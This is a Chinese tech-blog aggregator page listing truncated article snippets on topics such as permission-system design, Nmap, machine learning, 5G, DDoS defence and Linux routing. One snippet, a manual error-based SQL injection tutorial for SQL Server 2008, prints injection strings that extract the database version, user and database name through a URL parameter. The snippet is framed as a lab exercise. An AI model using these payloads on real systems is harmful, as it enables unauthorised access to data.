内蒙古自治区 车身及附件 公司 电子邮件: yahoo.cn

架构设计分享之权限系统(看图说话) 2015-08-10

前面一篇文章<最近架构随想>,我提到架构设计的一些构想,其实也是对之前项目经验的一些归纳及总结.今天我们就以权限系统作为切入点,谈一谈怎么设计权限系统以及怎么做到系统具有以下特性: Organized:如果系统组织比较好,可以起到事半功倍的效果. Encapsulated:对功能,结构,数据进行有效的封装,会使系统维护变得更加容易. Reusable:对常用功能以及组件进行有效的封装,可以使系统变得结构清晰且方便维护. Extensible:在设计系统的时候,如果很好的遵守OO的设计理念(OO

Nmap误报1720端口开放的原因 2015-08-10

在使用Nmap扫描服务器开放端口(全连接扫描)时,一直会发现误报1720端口开放,telnet也有时会连接成功.而实际上服务器并未开启此端口.经过查阅资料,确定原因如下:   H.323协议在负载中放入了重要的控制信息,例如语音和视频终端使用哪一个数据端口来接收别的终端的语音和视频数据.通过分析哪一个端口需要打开,NAT设备/防火墙动态地打开那些被应用的端口,而所有别的端口依然安全地保持关闭状态.   如果一个NAT被应用来屏蔽内部IP地址,这时ALG就需要一个代理,一些防火墙生产厂商把代理结合

实战Microsoft SQL Server 2008显错模式手工注入 2015-08-10

 实验用语句可以参考网上的SQL显错注入 环境: Microsoft SQL Server 2008 + IIS6.0 + Windows Server 2003[NT 5.2 Sp 2] 让我们来收集一下信息 #查看数据库版本URL.aspx?id=0701' AND 1=convert(int,@@version) AND 'risk'='risk #查看当前用户名URL.aspx?id=0701' AND user>0 AND 'risk'='risk #查看当前库名URL.aspx?id

局部加权回归、欠拟合、过拟合Andrew Ng机器学习公开课笔记1.3 2015-08-10

         本文主要讲解局部加权(线性)回归.在讲解局部加权线性回归之前,先讲解两个概念:欠拟合.过拟合,由此引出局部加权线性回归算法.   欠拟合.过拟合     如下图中三个拟合模型.第一个是一个线性模型,对训练数据拟合不够好,损失函数取值较大.如图中第二个模型,如果我们在线性模型上加一个新特征项,拟合结果就会好一些.图中第三个是一个包含5阶多项式的模型,对训练数据几乎完美拟合.     模型一没有很好的拟合训练数据,在训练数据以及在测试数据上都存在较大误差,这种情况称之为欠拟合(un

资源链接(持续更新) 2015-08-10

http://github.ibireme.com/github/list/ios/ 网友整理的 ios 一些框架和 源码整理. 安装Ruby http://ruby.taobao.org/

进程与线程浅析(一) 2015-08-10

首先,介绍一下两者的基本概念. 进程:1.程序或者说任务的执行过程.(动态性) 2.持有资源(共享内存,文件)和线程(是资源和线程的载体) 线程:1.线程是系统中最小的执行单元 2.同一个进程中可以有多个线程 3.线程共享进程的资源 综上,进程和线程的关系可以类比为班级和学生的关系,学生是组成该班级的最小单元,班级是学生的载体,学生可以利用该班级的资源,比如桌椅板凳等. 其次,介绍一下线程的交互. 线程之间的关系可以分为两种,互斥与同步. 互斥:即线程对相同的资源进行持有,则必须等前一个线程释放

苹果正式发布iOS7、iPhone 5C和5S 2015-08-10

  苹果iPhone 5s   苹果iPhone 5c 北京时间9月11日凌晨消息,苹果公司今天在美国加州总部召开发布会,正式发布iPhone 5c和iPhone 5s,这次两款新的iPhone将于9月20日在中国内地与美国.澳大利亚.日本等地首次同步上市,iPhone 5c售价4488元起.iPhone 5s售价5288元起.   苹果iPhone 5s官方视频(中文字幕)       五种颜色的iPhone 5c: iPhone 5c采用一体成型的塑料外壳,三围尺寸124.4*59.2*8.

通信行业对部署5G有强烈需求 2015-08-10

阿朗CEO康博敏 CNII网讯 阿尔卡特朗讯CEO康博敏近日表示,通信行业面临着强大的压力,需要尽快准备好5G网络产品. 尽管大多数业内专家都预期下一代网络技术直到2020年才会广泛商用部署,但康博敏在近日接受媒体采访时表示,目前行业对加快5G部署时间表有着强烈的需求.“我们认为,最早在2018年将会有一些试点部署.”目前对于5G网络的技术标准尚未确定. 在5G网络部署竞赛中有一些重要的国家考量,因为这些国家和运营商计划在世界舞台上展示出其科技实力.例如,韩国希望于2018年在平昌举行的冬季奥运

VC++网络安全编程范例(3)消息鉴别码MAC算法编程 2015-08-10

消息鉴别码(Message Authentication Code)也叫密码校验和(cryptographic checksum),鉴别函数的一种. 消息鉴别码实现鉴别的原理是,用公开函数和密钥产生一个固定长度的值作为认证标识,用这个标识鉴别消息的完整性.使用一个密钥生成一个固定大小的小数据块,即MAC,并将其加入到消息中,然后传输.接收方利用与发送方共享的密钥进行鉴别认证等. MAC是与明文信息M一同发送给对方,目的方使用事先协商好的密钥K对明文信息M进行完整性认证,由于密钥K仅通信双方知道,

谷歌收Nest冷解读:智能家居春天还太远 2015-08-10

智能家居:将科幻照进现实 文/顾晓波 或许是32亿美元的价格太惊人,谷歌对Nest这家小公司的收购引发了行业关于智能家居的大讨论,有一派观点说:智能家居的春天就要来了. 从北京城隔三差五的硬件展,到拉斯维加斯高大上的CES,各种智能灯泡.电视.路由器.安防设备甚至牙刷,以及千奇百怪的芯片解决方案充斥现场,创业者众人拾柴,加上谷歌等大公司火上浇油,得出这样的结论并不令人感到意外. 不过很多从业者却并未把这比交易看得太重,因为Nest作为一家生产温控器和烟感器的智能家居公司来说,它不值这么多钱. 谷

初学seaJs模块化开发,利用grunt打包,减少http请求 2015-08-10

原文地址:初学seaJs模块化开发,利用grunt打包,减少http请求 未压缩合并的演示地址:demo2 学习seaJs的模块化开发,适合对seajs基础有所了解的同学看,目录结构 js — —dist   //压缩后的目标文件夹 —lib   //各个模块              —drag    //拖拽模块              —scale   //缩放模块              —seajs    //seajs库 —seajs_drag    //入口的主文件main.j

用异或的性质实现简单加密解密 2015-08-10

异或运算用^表示,对a,b两整数进行异或操作是当两数的二进制对应位置不同时,结果的该位为1,否则为0. 异或运算有一个性质: 当a^b=c,则c^b=a,即同一个数对a进行两次异或的结果还是a. 利用此性质可以简单的对字符串进行加密解密. 示例代码: private void button1_Click(object sender, EventArgs e) { char a1='九',a2='点',a3='进',a4='攻'; char secret='密'; a1 = (char)(a1 ^

JS高级前端开发群加群说明 2015-08-10

JS高级前端开发群加群说明 一.文章背景: 二. 高级群: 三. 加入方式: 四. 说明:   一.文章背景: 去年年初建了几个群,在不经意间火了,一直排在“前端开发”关键字搜索结果第一名.当然取得这样的成绩或这样一个结果也是情理之中,一方面来说,提倡的各种交流沟通方法大部分是正确有效或被大家认可的,另外一方面说,这么多人聚在一起,跟大伙的参与分享是分不开的,尤其是各群的管理,是我们的灵魂精神的支柱.另外在国内行业前进的道路上,尽自己的绵薄之力帮助他人,引领氛围,进而影响行业,也是略感欣慰.有时

delphi编写的程序如何在win7下提升权限 2015-08-10

Delphi程序要实现在win7下以管理员身份运行,必须潜入一个res文件,操作步骤如下: 1) 首先编辑一个文本文件,命名为*.manifest (例如uac.manifest)   <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manife

2012年中国软件技术大会:大数据时代企业级应用 2015-08-10

2012年11月底中国软件技术大会第十届将在北京国家会议中心隆重召开,这是中国软件技术领域举办历史最悠久.技术领域涵盖面最广.专业人士参会规模最大.最具影响力的软件技术年度盛典.大会由中国科学院软件研究所.中科软科技股份有限公司.计算机世界联合主办.会期第一天上午为大会主题报告,下午还设置了多个技术报告专题.大会主论坛:关注大数据时代的企业级应用,分论坛以七个话题为引入点进行深入探讨:⊙ 大数据分析⊙ 云计算⊙ 移动应用&移动互联⊙ 产品管理&用户体验⊙ 企业级开发软件工程管理⊙ 企业架构

爱沙尼亚“世界首次网络大战”全记录 2015-08-10

"网络战争确实能摧毁一个国家"爱沙尼亚"世界首次网络大战"全记录爱沙尼亚是欧洲网络化程度最高的国家之一.然而在2007年春天,一场规模空前的黑客攻击却重创了该国的互联网系统,甚至对整个国家的安全构成了现实威胁.这次"网络大战"的幕后推手是谁?谁又将成为这种新形态战争的下一个目标?<读者文摘>(香港版)2008年12月号刊登文章,详细披露了这一事件的来龙去脉. 1."僵尸"进逼爱沙尼亚 东北欧国家爱沙尼亚的国防部长雅

互联网创业公司如何防御DDoS攻击? 2015-08-10

 攻击者是控制一个足够大的分布式集群来发起攻击,各种杂七杂八的包,什么都会有.根本不在乎你开的什么服务,也没那耐心分析你有什么服务.比如哪怕你根本没开UDP的任何服务,但他就是发一大堆UDP的包,把你带宽占满.还有啥办法.   十多年前的OS还没法应付大量TCP并发连接,于是那个年代有个SYN flood攻击,就是一大堆SYN包尝试握手.现代也有,效果大不如前,但是仍然在大流量下可以阻塞受害者的通信能力.   更现实的问题在于,机房的总带宽有限.当你的服务器IP段受到攻击时,他会直接找上级接入商

浏览器公司Opera业绩不佳 欲整体出售 2015-08-10

易网科技讯 8月10日消息,据国外媒体报道,在第二季度业绩未及预期并且下调了全年财绩预期之后,网络广告和浏览器公司Opera Sofware(以下简称"Opera")正在考虑整体对外出售自己.这一消息由这家挪威公司董事会于当地时间周六宣布.Opera在一份声明中表示,搜寻一个买家或其它形式的合作关系,是对来自一些方面对该公司战略兴趣所作出的反应,并且这样的搜寻工作将获得投行摩根士丹利和ABG Sundal Collier的帮助.战略评估将于今年下半年结束.Opera在另外一个信息发布中

Linux route命令详解:查看和操作IP路由表 2015-08-10

  Linux系统的route命令用于显示和操作IP路由表(show / manipulate the IP routing table).要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现. 在Linux系统中,设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的IP地址设置为Linux机器的默认路由.要注意的是,直接在命令行下执行route命令来添加路由,不会永久

计算机等级考试三级网络技术上机题(12) 2015-08-10

函数ReadDat( )的功能是实现从文件IN64.DAT中读取一篇英文文章存入到字符串数组xx中.请编制函数CharConvA( ),该函数的功能是:以行为单位把字符串的最后一个字符ASCII值右移4位后加最后第二个字符的ASCII值,得到最后一个新的字符,最后第二个字符的 ASCII值右移4位后加最后第三个字符的ASCII值,得到最后第二个新的字符,以此类推一直处理到第二个字符,第一个字符的ASCII值加最后一个字符的ASCII值,得到第一个新的字符,得到的新字符分别存放在原字符串对应的位置
一周排行
  • 在操作系统中,第一章是操作系统的引论,在给第一章画了一张图后,发现引论讲主要是计算机系统.引论从整体上介绍了整个计算机系统. 在层次结构中,如图: 软件的层次结构最多,也最复杂.其中操作系统属于系统软件,具有管理处理 ...
  • 一.    代码主要结构 所谓流程设计器者,无怪乎读取xml文件,图形展现,操作图形元素,改变xml文件,回写,如此而已. 既然如此,设计器的流程结构就非常清晰:首先是xml框架解析xml文件为Model模型组件,然 ...
  • PDA名词解释           注:本篇文章参考自百度知道,经过笔者的修改编排PDA概述         PDA是Personal Digital Assistant的缩写,字面意思是“个人数字助理”. 这种手持 ...
  • Gentoo是一个基于Linux的自由操作系统,它能为几乎任何应用程序或需求自动地作出优化和定制 Gentoo是一个基于Linux的自由操作系统,它能为几乎任何应用程序或需求自动地作出优化和定制.追求极限的配置.性能 ...
  • 1.mysql client 端设置编码为utf8      set character_set_results=utf8; 2.连接linux的客户端的编码也要设置为utf8(比如xshell,putty等)
  • atitit.http get post的原理以及框架实现java php   1. 相关的设置 1 1.1. urlencode 1 1.2. 输出流的编码 1 1.3. 图片,文件的post 1 2. get比较 ...
  • 最近看了Linux的一些内存管理知识,发现一些既熟悉又陌生的几个名词,swap.虚拟内存.page分页,都是与内存相关的一些信息,但他们之间有什么区别呢?要明白这个首先要知道什么是保护模式和实模式. 以前的操作系统是 ...
  • 最近,微信的彩蛋被频频曝出,通过输入特定的代码可以开启原本隐藏的功能 彩蛋什么的最能让人感到惊喜了.最近,微信的彩蛋被频频曝出,通过输入特定的代码可以开启原本隐藏的功能.笔者整理了部分代码及效果图,望各位玩的开心. ...
  • 最大似然估计是一种奇妙的东西,我觉得发明这种估计的人特别才华.如果是我,觉得很难凭空想到这样做. 极大似然估计和贝叶斯估计分别代表了频率派和贝叶斯派的观点.频率派认为,参数是客观存在的,只是未知而矣.因此,频率派最关 ...
  • 测试erlang脚本如下 -module(empty). -author("mmc"). %% API -export([test/1,test/0]). test()-> io:forma ...